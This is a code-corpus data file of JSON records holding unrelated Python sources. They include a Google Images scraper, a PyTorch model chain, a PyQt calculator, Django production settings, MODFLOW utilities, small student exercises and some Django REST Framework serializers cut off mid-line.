+{"seq_id":"614266819","text":"from time import sleep\nfrom urllib.error import HTTPError\nfrom urllib.request import urlretrieve\n\nimport pandas as pd\nfrom openpyxl import load_workbook\nfrom selenium import webdriver\n\n\ndef add_data_to_excel(d_images, cell_letters, is_photo):\n    try:\n        for cell_letter in cell_letters:\n            if is_photo:\n                key = 'Image {column_image_number}'.format(column_image_number = cell_letters.index(cell_letter) + 1)\n            else:\n                key = 'Image {column_image_number} Link'.format(\n                    column_image_number = cell_letters.index(cell_letter) + 1)\n\n            column_rows = d_images[key]\n\n            df_new = pd.DataFrame.from_records({key: column_rows})\n\n            wb = load_workbook('table.xlsx')\n\n            ws = wb['Sheet1']\n\n            for cell_row_number, row in df_new.iterrows():\n                cell = '%(column_letter)s%(cell_row_number)s' % dict(column_letter = cell_letter,\n                                                                     cell_row_number = cell_row_number + 2)\n                ws[cell] = row[0]\n\n            wb.save('table.xlsx')\n    except:\n        print('WARNING!! Data NOT written to Excel. Make sure you keep your workbook CLOSED!')\n\n\nclass GoogleBot:\n    def __init__(self, query, file_base, delay, number_of_images, down_images, main_index, link_i):\n        # Activating the Chrome Driver\n        self.link_index = link_i\n        self.filename = ''\n        self.driver = webdriver.Chrome()\n        url = 'https://www.google.com/search?q={q}'.format(q = query)\n\n        # Navigating to the Google Search for particular product\n        self.driver.get(url)\n\n        # Navigating to the Google Images tab\n        self.driver.find_element_by_xpath(\n            '//*[@id=\"hdtb-msb-vis\"]/div[2]/a') \\\n            .click()\n\n        sleep(delay)\n\n        self.thumbnails_xpath = []\n\n        # Adding the x paths of the thumbnails to the list\n        for ind in range(number_of_images):\n            self.thumbnails_xpath.append(\n                '//*[@id=\"islrg\"]/div[1]/div[{index}]/a[1]/div[1]/img'.format(index = ind + 1))\n\n        self.larger_image_xpath = '//*[@id=\"Sva75c\"]/div/div/div[3]/div[2]/div/div[1]/div[1]/div/div[2]/a/img'\n\n        # Downloading the images\n        for idx in range(number_of_images):\n            self.image_download(delay = delay, file_base = file_base, query = query,\n                                thumbnail = self.thumbnails_xpath[idx],\n                                image = self.larger_image_xpath,\n                                image_index = idx + 1,\n                                d_load_images = down_images,\n                                m_index = main_index)\n        photo_cells = ['B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J']\n        add_data_to_excel(d_images = down_images, cell_letters = photo_cells, is_photo = True)\n        \n        self.driver.close()\n\n    def image_download(self, delay, file_base, query, thumbnail, image, image_index, d_load_images, m_index,\n                       lnk_index):\n\n        def excel_add_data_when_no_error():\n            key = 'Image %(column_image_number)s' % dict(column_image_number = image_index)\n            d_load_images[key].insert(m_index, self.filename)\n\n        def excel_add_na_when_error():\n            key_err = 'Image %(column_image_number)s' % dict(column_image_number = image_index)\n            d_load_images[key_err].insert(m_index, 'n/a')\n\n        try:\n            # Navigating to the 1st thumbnail of the search and CLICKing in it\n            self.driver.find_element_by_xpath(thumbnail) \\\n                .click()\n            sleep(delay)\n\n            # Finding the larger image and assigning its tag to the img variable\n            img = self.driver.find_element_by_xpath(image)\n\n            # Getting the URL out the img attribute\n            src = img.get_attribute('src')\n\n            self.filename = file_base + '{image_index}.jpg'.format(image_index = image_index)\n\n            # Downloading the (bigger) image and storing it locally\n            urlretrieve(src, self.filename)\n        except FileNotFoundError as err:\n            excel_add_na_when_error()\n            print(err)  # something wrong with local path\n        except HTTPError as err:\n            excel_add_na_when_error()\n        except:\n            excel_add_na_when_error()\n\n            # something unexpected went wrong\n            print(\n                'Unknown Error Image {image_index} - {q}'.format(q = query, image_index = image_index))\n\n        else:\n            print(lnk_index)\n            # Adding filename to download_images to be saved in Excel\n            excel_add_data_when_no_error()\n            # Letting the user know that the 1st image of the first product has been downloaded\n            print('{q} - {filename} downloaded'.format(q = query, filename = self.filename))\n\n\nprint('========================================================================')\nprint('|           Google_Bot 1.0.1.4 by Allex Radu [www.ATFR.net]             |')\nprint('|     Get the latest version at https://github.com/allexradu/gBot       |')\nprint('========================================================================')\nprint('| Instructions: Save your Excel Workbook as \"a.xls\" and place it in     |')\nprint('| the same folder as this file, make sure the file in not opened.       |')\nprint('========================================================================')\nprint('|      WARNING!!! WRITE THIS DOWN! To stop the bot press CTRL + C       |')\nprint('========================================================================')\n\nno_of_images = 0\n\nlink_index = 0\n\ndownloaded_images = {'Image 1': [''], 'Image 2': [''], 'Image 3': [''], 'Image 4': [''],\n                     'Image 5': [''], 'Image 6': [''], 'Image 7': [''], 'Image 8': [''], 'Image 9': [''],\n                     'Image 1 Link': [], 'Image 2 Link': [], 'Image 3 Link': [], 'Image 4 Link': [], 'Image 5 Link': [],\n                     'Image 6 Link': [], 'Image 7 Link': [], 'Image 8 Link': [], 'Image 9 Link': []}\n\nwhile True:\n    try:\n        no_of_images = int(input('Number of images per product [1-9]: '))\n    except:\n        print('Invalid Input!!! Try again!')\n    else:\n        if not (0 < no_of_images <= 9):\n            print('Number not in range, try again!!')\n            continue\n        else:\n            break\n\nwhile True:\n    try:\n        seconds_delay = float(input('Number of seconds delay from one image to another: ' +\n                                    '\\n (the slower the computer / connection the higher the number)' +\n                                    '\\n [Minimum 1 sec recommended] seconds: '))\n    except:\n        print('Invalid Input!!! Try again!')\n    else:\n        break\n\n# Reading first column of a local excel file\ntry:\n    df = pd.read_excel('a.xls', sheet_name = 0)\n    print('Excel Read Complete!')\n\n    product_names = df['Name'].tolist()\n\n    for i in range(len(product_names)):\n        print(product_names[i])\n\n    # Placing all the product names in a list\n\n    for i in range(len(product_names)):\n        if i == 0:\n            link_index = 2\n        else:\n            link_index = i + 1\n        file_name_base = 'A' + '{num}'.format(num = (100 + i))\n        product_name = product_names[i]\n        GoogleBot(product_name, file_name_base, seconds_delay, no_of_images, downloaded_images, i, link_index)\nexcept:\n    print('Excel File NOT READ. Name your file \"a.xls\" with the first column \"Name\"')\n    print('and place it in the same directory and the bot file.')\n","sub_path":"scrach/bk.py","file_name":"bk.py","file_ext":"py","file_size_in_byte":7543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"439864320","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport torch\nfrom mlreco.models.uresnet_lonely import UResNet, SegmentationLoss\nfrom mlreco.models.ppn import PPN, PPNLoss\n\n\nclass Chain(torch.nn.Module):\n    \"\"\"\n    Run UResNet and use its encoding/decoding feature maps for PPN layers\n    \"\"\"\n    def __init__(self, model_config):\n        super(Chain, self).__init__()\n        self.ppn = PPN(model_config)\n        self.uresnet_lonely = UResNet(model_config)\n\n    def forward(self, input):\n        point_cloud, label = input\n        x = self.uresnet_lonely((point_cloud,))\n        y = self.ppn((label, x[0][0], x[1][0], x[2][0]))\n        return [x[0]] + y\n\n\nclass ChainLoss(torch.nn.modules.loss._Loss):\n    \"\"\"\n    Loss for UResNet + PPN chain\n    \"\"\"\n    def __init__(self, cfg):\n        super(ChainLoss, self).__init__()\n        self.uresnet_loss = SegmentationLoss(cfg)\n        self.ppn_loss = PPNLoss(cfg)\n\n    def forward(self, segmentation, label, particles):\n        uresnet_res = self.uresnet_loss([segmentation[0]], label)\n        ppn_res = self.ppn_loss(segmentation[1:], label, particles)\n        res = { **ppn_res, **uresnet_res }\n        res['uresnet_acc'] = uresnet_res['accuracy']\n        res['uresnet_loss'] = uresnet_res['loss_seg']\n        # Don't forget to sum all losses\n        res['loss_seg'] = ppn_res['loss_ppn1'].float() + ppn_res['loss_ppn2'].float() + \\\n                        ppn_res['loss_class'].float() + ppn_res['loss_distance'].float() \\\n                        + uresnet_res['loss_seg'].float()\n        return res\n","sub_path":"mlreco/models/uresnet_ppn_chain.py","file_name":"uresnet_ppn_chain.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"423900598","text":"# PROJECT 02 - PART A\n\n# This program is the work product of Group 11 BSE 1\n#                   GROUP 11 MEMBERS\n#       1. NIWAGABA CLEVER      2020/BSE/055/PS\n#       2. AINEBYONA ALBERT     2020/BSE/003/PS\n#       3. LEMI MANOAH JUNGO    2020/BSE/145/PS\n\ntry:\n    # The program will always read from measles.txt\n    file_handle = open('measles.txt')\n    print(file_handle)\n\n    # Program prompts the user for name of output file\n    output_file = input(\"Enter name of output file: \")\n    file_out = open(output_file, 'w')\n\n    # Program prompts the user for the year\n    year = input(\"Enter a year: \").lower()\n    if len(year) > 4:\n        print(\"Invalid entry for year\")\n        quit()\n\n    for line in file_handle:\n\n        # Checking whether the year input is in the Year Field\n        pyear = len(line)\n        if year in line[pyear-5:]:\n            file_out.write(line)\n        elif year == 'all' or year == ' ':\n            file_out.write(line)\n    print(\"Check your output file: \", output_file)\n\nexcept:\n    # If program is unable to open measles.txt file\n    print(\"Unable to open specified file!!!\")\n    quit()\n","sub_path":"src/project02/Project2_a.py","file_name":"Project2_a.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"52247830","text":"from .common import *\nimport django_heroku\nimport dj_database_url\n\nDEBUG = False\n\nALLOWED_HOSTS += [\n    'tutorportal.herokuapp.com',\n    '127.0.0.1',\n]\n\nCORS_ORIGIN_WHITELIST = [\n    'https://tutorportal-web.herokuapp.com',\n]\n\nFRONTEND_POINT = {\n    'PROTOCOL': 'https',\n    'DOMAIN': 'tutorportal-web.herokuapp.com',\n}\n\nDATABASES = {\n    'default': {\n        'ENGINE': 'django.db.backends.postgresql_psycopg2',\n        'NAME': 'name',\n        'USER': 'user',\n        'PASSWORD': '',\n        'HOST': 'host',\n        'PORT': '',\n    }\n}\n\nFRONTEND_URL = '%s://%s' % (FRONTEND_POINT['PROTOCOL'], FRONTEND_POINT['DOMAIN'])\ndb_from_env = dj_database_url.config(conn_max_age=600, ssl_require=True)\nDATABASES['default'].update(db_from_env)\n\ndjango_heroku.settings(locals())\n","sub_path":"backend/settings/prod.py","file_name":"prod.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"154842803","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 22 09:46:38 2016\n\n@author: hyl\n\n@version: 0.1\n\n@since: python2.7.6\n\"\"\"\n\ndef SortByKey(dict):\n    \"\"\"\n    sort a dictionary by keys\n    \"\"\"\n    keys = dict.keys() # get the keys\n    keys.sort() # sort keys\n    return map(dict.get, keys)\n\nif __name__ == \"__main__\":\n    inf = open(\"../original_data/User_Properties.txt\") # read user information file\n    outf = open(\"../temporary_data/User_Properties_sorted.txt\", \"w\") # store the information after sort\n    inputInfor = {} # store the read-in data\n\n    for line in inf.readlines():\n        perItem = line.split() # split every line by space\n        inputInfor[perItem[0]] = perItem # get the dictionary of id(string) to infor(tuple)\n        \n    res = SortByKey(inputInfor) # get the sorted data in tuple\n    \n    for item in res:\n        outf.write('\\t'.join(item) + '\\n') # output to the file\n    \n    outf.close()\n    inf.close()","sub_path":"userID_sort.py","file_name":"userID_sort.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"549008362","text":"from contextlib import ExitStack\n\n\ndef eval_pdf(model, x, params):\n    \"\"\" Compute pdf of model at a given point x and for given parameters values \"\"\"\n\n    def _pdf(model, x):\n        if model.is_extended:\n            return model.pdf(x) * model.get_yield()\n        else:\n            return model.pdf(x)\n\n    if \"zfit\" in str(model.__class__):\n        import zfit\n        pdf = lambda m, x: zfit.run(_pdf(m, x))\n    else:\n        pdf = _pdf\n\n    with ExitStack() as stack:\n        for param in model.get_dependents():\n            value = params[param][\"value\"]\n            stack.enter_context(param.set_value(value))\n        return pdf(model, x)\n\n\ndef pll(minimizer, loss, pois) -> float:\n    \"\"\" Compute minimum profile likelihood for given parameters values. \"\"\"\n    with ExitStack() as stack:\n        for p in pois:\n            param = p.parameter\n            stack.enter_context(param.set_value(p.value))\n            param.floating = False\n        minimum = minimizer.minimize(loss=loss)\n        for p in pois:\n            p.parameter.floating = True\n    return minimum.fmin\n\n\ndef array2dataset(dataset_cls, obs, array, weights=None):\n    \"\"\"\n    dataset_cls: only used to get the class in which array/weights will be\n    converted.\n    \"\"\"\n\n    if hasattr(dataset_cls, \"from_numpy\"):\n        return dataset_cls.from_numpy(obs=obs, array=array, weights=weights)\n    else:\n        return dataset_cls(obs=obs, array=array, weights=weights)\n","sub_path":"skstats/hypotests/fitutils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"441189585","text":"#41. Змінній t привласнити значення істина, якщо максимальний елемент\r\n#одновимірного масиву єдиний і не перевищує наперед заданого числа а.\r\n\r\n#Підготував Суханов Андрій Олександрович, 122Б\r\n\r\nimport numpy as np #Імпортуємо numpy.\r\n\r\nwhile True:\r\n    while True:\r\n        #Користувач вводить \"задане число\".\r\n        try:\r\n            a=int(input('Задайте будь-яке число: '))\r\n        except ValueError:\r\n            print('Input numbers!! ')\r\n            break\r\n\r\n        print()\r\n        #Ініціалізуємо масив нулями.\r\n        A=np.zeros(8, dtype=int)\r\n\r\n        t=False #Змінній t поки привласнимо значення False.\r\n        count=0\r\n        for i in range(len(A)): #Отримуємо доступ до елементів матриці А.\r\n            try: #Перевірка на входження чисел.\r\n                A[i] =int(input('Введіть елементи масиву: '))\r\n                continue\r\n            except ValueError:\r\n                print('Input numbers!! ')\r\n                break\r\n\r\n        A_max=max(A) #Знайдемо максимальне значення масиву.\r\n            \r\n        if A[i]==A_max:\r\n            count+=1 #Перевірка чи єдиний цей максимальний елемент у масиві.\r\n        if A_max<a and count==1:\r\n            t=True #Якщо все так, то t=True.\r\n        print(f't={t}')\r\n\r\n\r\n        #Чи бажаєте повторити програму?\r\n        result=input('Введіть \"1\", щоб продовжити, інше - для виходу: ')\r\n        if result=='1':\r\n            continue\r\n        break\r\n    break\r\n\r\n\r\n\r\n","sub_path":"41.py","file_name":"41.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"479019872","text":"from PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QApplication, QWidget\nfrom PyQt5.QtWidgets import QLineEdit, QToolButton\nfrom PyQt5.QtWidgets import QSizePolicy\nfrom PyQt5.QtWidgets import QLayout, QGridLayout\n\nfrom keypad import numPadList, operatorList, constantList, functionList\nimport calcFunctions\n\nclass Button(QToolButton):\n\n    def __init__(self, text, callback):\n        super().__init__()\n        self.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Preferred)\n        self.setText(text)\n        self.clicked.connect(callback)\n\n    def sizeHint(self):\n        size = super(Button, self).sizeHint()\n        size.setHeight(size.height() + 20)\n        size.setWidth(max(size.width(), size.height()))\n        return size\n\n\nclass Calculator(QWidget):\n\n    def __init__(self, parent=None):\n        super().__init__(parent)\n\n        # Display Window\n        self.display = QLineEdit()\n        self.display.setReadOnly(True)\n        self.display.setAlignment(Qt.AlignRight)\n        self.display.setMaxLength(15)\n\n        # Button Creation and Placement\n        numLayout = QGridLayout()\n        opLayout = QGridLayout()\n        constLayout = QGridLayout()\n        funcLayout = QGridLayout()\n\n        buttonGroups = {\n            'num': {'buttons': numPadList, 'layout': numLayout, 'columns': 3},\n            'op': {'buttons': operatorList, 'layout': opLayout, 'columns': 2},\n            'constants': {'buttons': constantList, 'layout': constLayout, 'columns': 1},\n            'functions': {'buttons': functionList, 'layout': funcLayout, 'columns': 1},\n        }\n\n        for label in buttonGroups.keys():\n            r = 0; c = 0\n            buttonPad = buttonGroups[label]\n            for btnText in buttonPad['buttons']:\n                button = Button(btnText, self.buttonClicked)\n                buttonPad['layout'].addWidget(button, r, c)\n                c += 1\n                if c >= buttonPad['columns']:\n                    c = 0; r += 1\n\n        # Layout\n        mainLayout = QGridLayout()\n        mainLayout.setSizeConstraint(QLayout.SetFixedSize)\n\n        mainLayout.addWidget(self.display, 0, 0, 1, 2)\n        mainLayout.addLayout(numLayout, 1, 0)\n        mainLayout.addLayout(opLayout, 1, 1)\n        mainLayout.addLayout(constLayout, 2, 0)\n        mainLayout.addLayout(funcLayout, 2, 1)\n\n        self.setLayout(mainLayout)\n\n        self.setWindowTitle(\"My Calculator\")\n\n\n    def buttonClicked(self):\n        if 'clear' in init:\n            self.display.clear()\n            init.clear()\n\n        button = self.sender()\n        key = button.text()\n\n        ## 06 + 3처럼 앞에 0이 있을 경우 에러처리가 나던 것을 처리하기 위해\n        ## 맨앞에 0이 나타나지 않을때까지 0을 지우고 연산기호 뒤의 문자도 0이면 없애는 식으로 하려했으나\n        ## 연산기호를 여러번 쓰는부분을 어떻게 코딩해야할지 몰라 남겼습니다.\n        '''idx = 0\n        if key == '=':\n            if '+' or '-' or '*' or '/' in self.display.text():\n                del0 = ''\n                for i in range(1, len(self.display.text())):\n                # 연산기호가 몇번째에 있는 지 확인\n                    if self.display.text()[i] == '+':\n                        idx = i\n                    if self.display.text()[i] == '-':\n                        idx = i\n                    if self.display.text()[i] == '*':\n                        idx = i\n                    if self.display.text()[i] == '/':\n                        idx = i\n\n                del1 = ''\n                ## 첫째 인자에 0이 있는 경우\n                count = 1\n                print(idx)\n                while self.display.text()[0] == '0':\n                    count += 1\n                    # 첫째 인자 0제거\n                    for i in range(1, len(self.display.text())):\n                        del0 += self.display.text()[i]\n                    self.display.setText(del0)\n                    # 둘째 인자 0 유무 확인\n                    while del0[idx + 1] == '0':\n                    # 0이 있네?\n                        for i in range(1, len(del0)):\n                            if i == idx:\n                                continue\n                            else:\n                                del1 += del0[i]\n                        self.display.setText(del1)\n                    # 둘째 인자에 0이 없는 경우\n                    else:\n                        self.display.setText(str(eval(del0)))\n\n                ## 첫재 인자에 0이 없는우 경우\n                else:\n                    ## 둘째 인자에 0이 있는 경우\n                    if self.display.text()[idx + 1] == 0:\n                        print('22')\n\n                    ## 둘째 인장에 0이 없는 경우\n                    else:\n                        try:\n                            result = str(eval(self.display.text()))\n                        except:\n                            result = 'Error!'\n                        self.display.setText(result)'''\n        if key == '=':\n\n            ## 계산 입력 후 값 초기화를 위해 init라는 리스트를 생성\n            ## ZeroDivisionErro 처리\n            if '/' in self.display.text():\n                try:\n                    result = str(eval(self.display.text()))\n                except ZeroDivisionError:\n                    result = 'ZeroDivisionError'\n                    init.append('clear')\n                self.display.setText(result)\n\n\n            else:\n                try:\n                    result = str(eval(self.display.text()))\n                except:\n                    result = 'Error!'\n                    init.append('clear')\n\n                self.display.setText(result)\n\n\n        elif key == 'C':\n            self.display.clear()\n        elif key == constantList[0]:\n           self.display.setText(self.display.text() + '3.141592')\n        elif key == constantList[1]:\n            self.display.setText(self.display.text() + '3E+8')\n        elif key == constantList[2]:\n            self.display.setText(self.display.text() + '340')\n        elif key == constantList[3]:\n            self.display.setText(self.display.text() + '1.5E+8')\n        elif key == functionList[0]:\n            n = self.display.text()\n            value = calcFunctions.factorial(n)\n            self.display.setText(str(value))\n            init.append('clear')\n        elif key == functionList[1]:\n            n = self.display.text()\n            value = calcFunctions.decToBin(n)\n            self.display.setText(str(value))\n        elif key == functionList[2]:\n            n = self.display.text()\n            value = calcFunctions.binToDec(n)\n            self.display.setText(str(value))\n        elif key == functionList[3]:\n            n = self.display.text()\n            value = calcFunctions.decToRoman(n)\n            self.display.setText(str(value))\n        else:\n            self.display.setText(self.display.text() + key)  ## 계산 입력\n\n\nif __name__ == '__main__':\n\n    import sys\n    init = []\n    app = QApplication(sys.argv)\n    calc = Calculator()\n    calc.show()\n    sys.exit(app.exec_())\n\n\n'''elif '('  or ')' in self.display.text():\n                result = ''\n                while self.display.text()[0] == '(' or ')':\n                    for i in range(0, len(self.display.text()) - 1):\n                        self.display.text()[i] = self.display.text()[i+1]\n                    self.display.setText(self.display.text())\n                while self.display.text()[-1] == '(' or ')':\n                    for i in range(0, len(self.display.text()) - 1):\n                        result += self.display.text()[i] '''","sub_path":"Week8/mycalc10.py","file_name":"mycalc10.py","file_ext":"py","file_size_in_byte":7693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"139720104","text":"# -*- coding: utf-8 -*-\n\"\"\"Misc utilities for MODFLOW.\"\"\"\n\n__all__ = [\"geotransform_from_flopy\"]\n\nimport pandas as pd\n\n\ndef sfr_rec_to_df(sfr):\n    \"\"\"Convert flopy rec arrays for ds2 and ds6 to pandas dataframes.\"\"\"\n    d = sfr.segment_data\n    # multi index\n    reform = {(i, j): d[i][j] for i in d.keys() for j in d[i].dtype.names}\n    segdatadf = pd.DataFrame.from_dict(reform)\n    segdatadf.columns.names = ['kper', 'col']\n    reachdatadf = pd.DataFrame.from_records(sfr.reach_data)\n    return segdatadf, reachdatadf\n\n\ndef sfr_dfs_to_rec(model, segdatadf, reachdatadf, set_outreaches=False,\n                   get_slopes=True, minslope=None):\n    \"\"\"Convert sfr ds6 and ds2 to model sfr rec.\n\n    Function to convert sfr ds6 (seg data) and ds2 (reach data) to model.sfr\n    rec arrays option to update slopes from reachdata dataframes\n    \"\"\"\n    if get_slopes:\n        print('Getting slopes')\n        if minslope is None:\n            minslope = 1.0e-4\n            print('using default minslope of {}'.format(minslope))\n        else:\n            print('using specified minslope of {}'.format(minslope))\n    # segs ds6\n    # multiindex\n    g = segdatadf.groupby(level=0, axis=1)  # group multi index df by kper\n    model.sfr.segment_data = g.apply(\n        lambda k: k.xs(k.name, axis=1).to_records(index=False)).to_dict()\n    # # reaches ds2\n    model.sfr.reach_data = reachdatadf.to_records(index=False)\n    if set_outreaches:\n        # flopy method to set/fix outreaches from segment routing\n        # and reach number information\n        model.sfr.set_outreaches()\n    if get_slopes:\n        model.sfr.get_slopes(minimum_slope=minslope)\n    # as of 08/03/2018 flopy plotting of sfr plots whatever is in\n    # stress_period_data; add\n    model.sfr.stress_period_data.data[0] = model.sfr.reach_data\n\n\ndef geotransform_from_flopy(m):\n    \"\"\"Return GDAL-style geotransform from flopy model.\"\"\"\n    try:\n        import flopy\n    except ImportError:\n        raise ImportError('this method requires flopy')\n    if not isinstance(m, flopy.mbase.BaseModel):\n        raise TypeError(\"'m' must be a flopy model\")\n    mg = m.modelgrid\n    if mg.angrot != 0.0:\n        raise NotImplementedError('rotated grids not supported')\n    if mg.delr.min() != mg.delr.max():\n        raise ValueError('delr not uniform')\n    if mg.delc.min() != mg.delc.max():\n        raise ValueError('delc not uniform')\n    a = mg.delr[0]\n    b = 0.0\n    c = mg.xoffset\n    d = 0.0\n    e = -mg.delc[0]\n    f = mg.yoffset - e * mg.nrow\n    # GDAL order of affine transformation coefficients\n    return c, a, b, f, d, e\n","sub_path":"swn/modflow/_misc.py","file_name":"_misc.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"528337196","text":"from PIL import Image\nimport os\n\ninput_directory = 'preprocessed-images-step-two'\noutput_directory = 'preprocessed-images-step-three'\n\nfor fh in os.listdir(input_directory):\n\tkey = 0\n\tif fh != '.DS_Store':\n\t\timg = Image.open(os.path.join(input_directory, fh))\t\n\t\twidth, height = img.size\n\t\tiwidth = int(width)\n\t\tiheight = int(height * 0.80)\n\t\tfor i in range(0, height, iheight):\n\t\t\tfor j in range(0, width, iwidth):\n\t\t\t\tif i == 0:\n\t\t\t\t\tbox = (j, height - iheight, j + iwidth, height)\n\t\t\t\t\tcropped_im = img.crop(box)\n\t\t\t\t\tcropped_im.save(os.path.join(output_directory, \"{}_crop_{}\".format(key, fh)))\n\t\t\t\t\tkey += 1\n\t\t\t\t\t\n\t\t\t\t\n\n\n","sub_path":"api/preprocess_images_step_two.py","file_name":"preprocess_images_step_two.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"367148662","text":"from random import random\nfrom math import sqrt\nimport time\ndarts = 100000\nhits=0\ntime.clock()\nfor i in range(1,darts+1):\n    x,y=random(),random()\n    dist=sqrt(x**2+y**2)\n    if dist<=1.0:\n        hits+=1\npi=4*(hits/darts)\nprint(\"Pi'value is {}\".format(pi) )\nprint(\"it takes :{:.5f}s\".format(time.clock()))\n","sub_path":"嵩天程序设计基础/pi.py","file_name":"pi.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"444633123","text":"import numpy as np\nimport glfw\nfrom OpenGL.GL import *\n\ndegree = 10.0 * np.pi / 180\ngComposedM = np.identity(3)\n\ndef key_callback(window, key, scancode, action, mods):\n    global gComposedM\n    if key == glfw.KEY_1:\n        if action == glfw.PRESS:\n            gComposedM = np.identity(3)\n    elif key == glfw.KEY_Q:\n        if action == glfw.PRESS:\n            gComposedM[0][2] -= 0.1\n    elif key == glfw.KEY_E:\n        if action == glfw.PRESS:\n            gComposedM[0][2] += 0.1\n    elif key == glfw.KEY_A:\n        if action == glfw.PRESS:\n            counterClock = np.array([\n                [np.cos(degree), -np.sin(degree), 0.],\n                [np.sin(degree), np.cos(degree), 0.],\n                [0., 0., 1.]\n                ])\n            gComposedM = gComposedM @ counterClock\n    elif key == glfw.KEY_D:\n        if action == glfw.PRESS:\n            clock = np.array([\n                [np.cos(degree), np.sin(degree), 0.],\n                [-np.sin(degree), np.cos(degree), 0.],\n                [0., 0., 1.]\n                ])\n            gComposedM = gComposedM @ clock\n    elif key == glfw.KEY_W:\n        if action == glfw.PRESS:\n            scale = np.array([\n                [0.9, 0., 0.],\n                [0., 1., 0.],\n                [0., 0., 1.]\n                ])\n            gComposedM = scale @ gComposedM\n    elif key == glfw.KEY_S:\n        if action == glfw.PRESS:\n            counterClock = np.array([\n                [np.cos(degree), -np.sin(degree), 0.],\n                [np.sin(degree), np.cos(degree), 0.],\n                [0., 0., 1.]\n                ])\n            gComposedM = counterClock @ gComposedM\n\ndef render(T):\n   glClear(GL_COLOR_BUFFER_BIT)\n   glLoadIdentity()\n   # draw coordinate\n   glBegin(GL_LINES)\n   glColor3ub(255, 0, 0)\n   glVertex2fv(np.array([0., 0.]))\n   glVertex2fv(np.array([1., 0.]))\n   glColor3ub(0, 255, 0)\n   glVertex2fv(np.array([0., 0.]))\n   glVertex2fv(np.array([0., 1.]))\n   glEnd()\n   # draw triangle\n   glBegin(GL_TRIANGLES)\n   glColor3ub(255, 255, 255)\n   glVertex2fv( (T @ np.array([.0, .5, 1.]))[:-1])\n   glVertex2fv( (T @ np.array([.0, .0, 1.]))[:-1])\n   glVertex2fv( (T @ np.array([.5, .0, 1.]))[:-1])\n   glEnd()\n\ndef main():\n    if not glfw.init():\n        return \n    window = glfw.create_window(480, 480, \"2016025423-3-1\", None, None)\n    if not window:\n        glfw.terminate()\n        return\n\n    glfw.set_key_callback(window, key_callback)\n    glfw.make_context_current(window)\n    \n    while not glfw.window_should_close(window):\n        glfw.poll_events()\n        render(gComposedM)\n        \n        glfw.swap_buffers(window)\n\n    glfw.terminate()\n\nif __name__ == \"__main__\":\n    main() \n","sub_path":"assignment03/2016025423-3-1.py","file_name":"2016025423-3-1.py","file_ext":"py","file_size_in_byte":2666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"549158283","text":"from rest_framework import serializers, exceptions\nfrom core.utils import get_age_fun, test_thumbnail_image_url\nfrom crawler.models import CrawlProduct, CrawlDetailImage\nfrom mypage.serializers import SimpleUserInfoSerializer, DeliveryPolicyInfoSerializer\nfrom products.category.models import PopularTempKeyword\nfrom products.category.serializers import ColorSerializer, FirstCategorySerializer, SecondCategorySerializer, \\\n    SizeSerializer\nfrom products.models import Product, ProductImages, ProductLike, ProdThumbnail\nfrom products.reply.serializers import ProductReplySerializer\nfrom products.shopping_mall.serializers import ShoppingMallSerializer\nfrom products.supplymentary.models import PurchasedReceipt, PurchasedTime\nfrom products.utils import check_product_url\nfrom user_activity.models import RecentlySearchedKeyword\n\n\nclass ProductFirstSaveSerializer(serializers.ModelSerializer):\n    seller = serializers.HiddenField(default=serializers.CurrentUserDefault())\n\n    class Meta:\n        model = Product\n        fields = ['seller', 'condition', 'shopping_mall', 'product_url']\n\n\nclass CrawlDataSerializer(serializers.ModelSerializer):\n    \"\"\"\n    크롤링 데이터를 다루는 serializer 입니다.\n    \"\"\"\n    class Meta:\n        model = CrawlProduct\n        fields = ['thumbnail_image_url',\n                  'product_name',\n                  'int_price']\n\n\nclass TempCrawlDataSerializer(serializers.ModelSerializer):\n    \"\"\"\n    크롤링 실패시 임시 데이터를 다루는 serializer 입니다.\n    \"\"\"\n    thumbnail_image_url = serializers.SerializerMethodField(read_only=True)\n    product_name = serializers.SerializerMethodField(read_only=True)\n    int_price = serializers.SerializerMethodField(read_only=True)\n\n    class Meta:\n        model = Product\n        fields = ['thumbnail_image_url',\n                  'product_name',\n                  'int_price']\n\n    @staticmethod\n    def get_thumbnail_image_url(obj):\n        return None\n\n    @staticmethod\n    def get_product_name(obj):\n        return None\n\n    @staticmethod\n    def get_int_price(obj):\n        return None\n\n\nclass ProductMainSerializer(serializers.ModelSerializer):\n    \"\"\"\n    상품 메인페이지 및 찜한 상품 조회에 사용하는 serializer 입니다.\n    [UPDATED] 20.08.06 : 할인율, 상품상태 등\n    \"\"\"\n    thumbnail_image_url = serializers.SerializerMethodField(read_only=True)\n    is_owner = serializers.SerializerMethodField()\n    sold = serializers.SerializerMethodField()\n\n    # for develop\n    price = serializers.SerializerMethodField()\n    name = serializers.SerializerMethodField()\n\n    discount_rate = 